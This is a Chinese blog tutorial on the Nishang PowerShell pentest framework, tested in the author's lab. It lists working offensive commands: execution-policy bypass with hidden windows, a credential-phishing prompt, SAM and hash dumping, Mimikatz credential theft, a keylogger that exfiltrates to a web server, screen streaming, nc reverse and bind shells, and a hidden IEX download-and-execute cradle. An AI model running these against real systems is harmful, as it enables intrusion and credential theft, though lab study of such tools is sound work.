细说——Nishang

介绍

Powershell用于渗透测试其实早在多年前就已经被提出了,利用Powershell,攻击者可以在无需接触磁盘的情况下执行命令等,并且相较已经被大家广泛关注并防御的cmd而言,Powershell并非那么的引人瞩目。Nishang是基于PowerShell的渗透测试专用工具。它集成了框架、脚本和各种payload,能够帮助渗透测试人员在对Windows目标的全过程检测中使用,项目地址:https://github.com/samratashok/nishang

【基于隐私,以及实验效果,我会在虚拟机、vps、物理机上分别进行截图。算是解释一下截图不一致的问题】
【打❌的表示测试失败的,请知悉】

简单的安装与使用

powshell版本

根据其Github页面的描述,工具是使用在PowerShell v3之上的版本。可以使用Get-Host命令来查看当前的版本
win7下是有点小问题的。因为win7下自带的环境是PowerShell 2.0在这里插入图片描述
默认情况下的Server OS 对应的 Powershell的版本:

  • Windows 2008 R2 - Version 2
  • Windows 2012 - Version 3
  • Windows 2012 R2 - Version 4
  • Windows 2016 - Version 5

powshell策略

PowerShell默认的执行策略是Restricted,但是Restricted是不允许运行任何脚本的。你在PowerShell执行Get-ExecutionPolicy命令来查看默认的策略组。我们需要修改策略组,在PowerShell下执行Set-ExecutionPolicy remotesigned(这需要在管理员的状态下执行),再次导入,就导入成功了。(警告不需要理会)

因为警告不相信导入成功的,可以继续执行命令来进一步验证。
导入Nishang模块

Import-Module .\nishang.psm1

获取Nishang的命令

get-command -Module nishang

在这里插入图片描述

关于powshell策略绕过,再啰嗦两句:
上面是基于我们在本地进行测试的情况下,如果是在真实的攻击场景之下,我们还是不宜去做一些全局策略的更改的,这里简单推荐几个Bypass执行策略的Tricks:

Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted //设置当前用户的执行策略为Unrestricted,也算是去更改了当前的全局策略
powershell.exe -executionpolicy bypass -Windowstyle hidden -noninteractive -nologo -File //或是下面这种,-Windowstyle hidden 可以让我们的执行无任何弹窗
PowerShell.exe -ExecutionPolicy Bypass -File

想了解更多姿势,大家可以看看Bypass执行策略的十五种方法:
https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/

信息收集

查看本机信息(全面)

这个脚本可以获取目标机器上大量的信息(FTP访问,进程,计算机配置信息,无线网络和设备的信息,Hosts信息等等非超丰富)。

Get-Information

在这里插入图片描述

查看主机信息(简洁)

Get-Host

在这里插入图片描述

检查是否为虚拟机

从这个脚本的名字就可以看出来,它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别。

Check-VM

在这里插入图片描述

登录弹窗

这个脚本是用来欺骗用户输入账号密码信息的。
Invoke-CredentialsPhish执行后会在目标机器上弹出一个Windows的登录框,并且无法关闭,只有输入正确的密码关闭,或者结束进程才能关掉它。十分流氓

Invoke-CredentialsPhish

在这里插入图片描述

Copy-VSS

这个脚本利用Volume Shadow Copy 服务来复制出SAM文件。如果这个脚本运行在了DC机上ntds.dit和SYSTEM hive也能被拷贝出来。
执行方式:

PS > Copy-VSS //将会直接把文件保存在当前路径下
PS > Copy-VSS -DestinationDir C:temp  //指定保存文件的路径(必须是已经存在的路径)

执行名命令之前的文件夹内容如下
在这里插入图片描述

执行名命令之后的文件夹内容如下,发现多了SAMSYSTEM文件
在这里插入图片描述

Get-LSASecret❌

该脚本可以获取LSA信息,但是使用的前提当然是你已经成功提升了权限的情况下,通常和我们后面提权当中涉及到的Enable-DuplicateToken(帮助我们获得System权限)联合使用。
执行方式:

PS > Enable-DuplicateToken
PS > Get-LsaSecret
PS > Get-LsaSecret -RegistryKey KeyName //还可以指定键名

Get-WLAN-Keys❌

在Administrator的权限下,可以利用这个脚本来dump出WLAN文件的密钥信息。实质上,这个脚本就是利用了netsh wlan show profile name=" " key=clear来获取。

Get-WLAN-Keys

执行了,但不知道为啥没反应,运行脚本的文件夹下也没有出现新的文件😐
在这里插入图片描述

其他:
查看电脑wifi密码有多种方法,其中一种就是使用netsh,它的优势在于,可以查到电脑连接过的所有wifi的密码
解释一下netsh wlan show profile name=" " key=clear是个啥,举个例子如下
在这里插入图片描述

在这里插入图片描述

端口扫描(FireBuster FireListener)

FireBuster可以对内网进行扫描,它会把包发给FireListener
执行方式:

PS > FireBuster 10.10.10.10 1000-1020
PS > FireListener -portrange 1000-1020

该脚本作者的Github上面还提供了一个Python版的监听端:
https://github.com/roo7break/PowerShell-Scripts/blob/master/FireBuster/

测试 :

  1. 我们首先在我们的机器(Attacker)上面运行FireListener:
FireListener 130-150
  1. 受害者
FireBuster 192.168.40.1 130-150 -Verbose

在这里插入图片描述

说明:
关于这个端口扫描,没看出干啥用的,不明白攻击者的那条命令是干啥的,也不明白为毛两者是怎么联系起来的,网上没找到更详细的解答,抓包也很迷惑,有数据,但是追踪流数据为空,gg
在这里插入图片描述

主机发现(基于端口扫描)

指定端口

Invoke-PortScan -StartAddress 192.168.199.1 -EndAddress 192.168.199.254 -ScanPort -Ports 445

开始扫描:
在这里插入图片描述

扫描结果:
在这里插入图片描述

不指定端口

Invoke-PortScan -StartAddress 192.168.3.1 -EndAddress 192.168.3.254 -ScanPort

在这里插入图片描述

键盘记录(Keylogger)❌

网上的文章基本一个样子,我没看懂,以及没看懂键盘记录为什么要检查URL页面中有没有 -MagicString后的字符串。我觉得键盘记录是个离线的过程,最多就是把结果传输给某台机器,看不懂检查URL是什么操作,官方解释文档让人望而生畏,https://github.com/samratashok/nishang/blob/master/Gather/Keylogger.ps1

Nishang下载解压之后有多个文件夹,进入到信息收集的Gather文件夹下,输入如下命令,查看帮助手册
Get-Help .\Keylogger.ps1 -full(网上写Get-Help .Keylogger.ps1 -full都是假的,相对路径写的不对)

执行方式:

PS > ./Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis  //-CheckURL参数会去检查所给出的网页之中是否包含 -MagicString后的字符串,如果存在的话就停止使用记录。
PS > ./Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis -exfil -ExfilOption WebServer -URL http://192.168.254.226/data/catch.php //将记录指定发送给一个可以记录Post请求的Web服务器
PS > ./Keylogger.ps1 -persist //实现持久化记录(重启后依然进行记录)
PS > ./Keylogger.ps1 //直接以这种方式来运行,键盘记录会保存在当前用户的Temp目录下key文件中

查看帮助手册
在这里插入图片描述

网上使用的URL和-MagicString,在帮助手册可以看到
-CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis
在这里插入图片描述

键盘记录

  1. 首先执行 .\Keylogger.ps1
    在这里插入图片描述

  2. 输入URL和MagicString
    在这里插入图片描述

发现在当前用户的Temp目录下生成了Key的文件,这时我们使用nishang Utility中的Parse_Keys来解析
【发现个锤子,我是没发现】
在这里插入图片描述

  1. 下面使用网图,他们是这么做的

在这里插入图片描述

发现在当前用户的Temp目录下生成了Key的文件,这时我们使用nishang Utility中的Parse_Keys来解析

PS >Parse_Keys .key.log .parsed.txt

然后parsed.txt里面就是解析后的按键记录了
在这里插入图片描述

获取用户hash

这个脚本在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了。

Get-PassHashes
Get-PassHashes -PSObjectFormat //可以使用-PSObjectFormat来格式化输出结果

在这里插入图片描述
在这里插入图片描述

然后解密hash:https://www.objectif-securite.ch/en/ophcrack

Invoke-MimikatzWdigestDowngrade❌

Dump出Windows 8.1 and Server 2012的系统用户密码。

  1. 执行Invoke-MimikatzWDigestDowngrade

windows会锁屏,如下
在这里插入图片描述

  1. 执行Get-Job | Receive-Job,爆红,失败
  2. 执行Get-Job发现一条执行失败的记录

网上都是刷一个链接,额,,解决办法[域渗透——Dump Clear-Text Password after KB2871997 installed]
在这里插入图片描述

抓取用户的明文密码(Invoke-Mimikatz)

Invoke-Mimikatz 不需要解释的神器

Invoke-Mimikatz -DumpCerts //Dump出本机的凭证信息
Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2") //Dump出远程两台计算机的凭证信息
Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" //在远程一台机器上运行Mimikatz并执行"privilege::debug exit"

在这里插入图片描述

获取用户的密码提示信息(Get-PassHints)❌

这个脚本可以从Windows获得用户的密码的提示信息,需要有Administrator的权限来读取SAM hive。
命令:Get-PassHints
啥都没有,失败
在这里插入图片描述

桌面截图(Show-TargetScreen)

使用MJPEG传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器(如:Firefox)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。

攻击者kali:nc -nvlp 4456 | nc -nvlp 9000
受害者win2008:Show-TargetScreen -IPAddres 192.168.40.146 -Port 4456 -Reverse

受害者将自己的桌面传输到攻击者的4456端口,攻击者把监听转移到9000端口,用浏览器查看截图结果
在这里插入图片描述

在这里插入图片描述

反弹shell

关于shell的命令,如果不容易看懂,推荐一个神奇网站https://www.explainshell.com/
在这里插入图片描述

正向连接and反向连接

新手肯定都有这个疑问,什么时候用正向连接,什么时候用反向连接呢?其实很简单:
目标在外网而你在内网的时候,用正向连接。
目标在内网而你在外网的时候,用反向连接。
都在外网的时候,两种方式皆可。

基于TCP协议的Powershell交互式Shell

Invoke-PowerShellTcp是PowerShell交互式正向连接或反向连接shell,基于TCP协议。
参数介绍:

-IPAddress <String> 选择-Reverse选项时是需要连接到的IP地址
-Port <Int32> 选择-Reverse选项时是需要连接到的端口,选择-Bind选项时是需要监听的端口。
-Reverse [<SwitchParameter>] 反向连接
-Bind [<SwitchParameter>] 正向连接

正向连接

攻击者去主动连接受害者

  1. 受害者win2008监听本地端口4456

Invoke-PowerShellTcp -Bind -Port 4456

  1. 攻击者kali使用nc连接受害者

nc -nv 192.168.40.131 4456
在这里插入图片描述

反向连接

受害者主动连接攻击者

  1. 攻击者kali监听本地端口

nc -lvp 3333

  1. 受害者win2008主动连接攻击者

Invoke-PowerShellTcp -Reverse -IPAddress 192.168.40.146 -Port 3333
在这里插入图片描述

基于UDP协议的PowerShell交互式Shell

Invoke-PowerShellUdp是Powershell交互式正向连接或反向连接shell,基于UDP协议。

基本通“基于TCP协议的Powershell交互式Shell”一样,只不过:

  1. nc的参数要加u指明是udp类型
  2. Invoke-PowerShellTcp修改为Invoke-PowerShellUdp

正向连接

正向连接,和上面用法相同,不过是基于UDP协议,所以nc命令就要改动一下了。

  1. 攻击者kali

nc -nvu 192.168.40.131 4456

  1. 受害者win2008

Invoke-PowerShellUdp -Bind -Port 4456
在这里插入图片描述

反向连接

  1. 攻击者kali监听本地端口

    nc -lvup 3333

  2. 受害者win2008主动连接攻击者

Invoke-PowerShellUdp -Reverse -IPAddress 192.168.40.146 -Port 3333
在这里插入图片描述

基于HTTP和HTTPS协议的PowerShell交互式Shell❌

个人感觉有点扯,在攻击机上执行Invoke-PoshRatHttp命令就很扯淡,没复现出来

  1. 在攻击机上执行下面的命令
HTTP:Invoke-PoshRatHttp -IPAddress 192.168.12.103 -Port 3333
HTTPS:Invoke-PoshRatHttps -IPAddress 192.168.12.103 -Port 3333
  1. 在目标机器执行以下命令
powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.169.136:1234/connect'))

Antak Webshell

存放于nishangAntak-WebShell目录下,就是一个ASPX的大马,但是命令行是PowerShell,比单纯的cmd强大很多。功能齐全,日aspx的站必备的东西,通过这个Webshell可以编码、执行脚本,上传、下载文件。
在这里插入图片描述

待续

写的太痛苦了,鸽了鸽了,用到啥写啥吧
在这里插入图片描述

参考

PowerShell攻防进阶篇:nishang工具用法详解
【技术分享】Powershell 渗透测试工具-Nishang(一)
【技术分享】Powershell 渗透测试工具-Nishang(二)
内网神器-Nishang之信息收集篇(一)
内网神器-Nishang之信息收集篇(二)

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值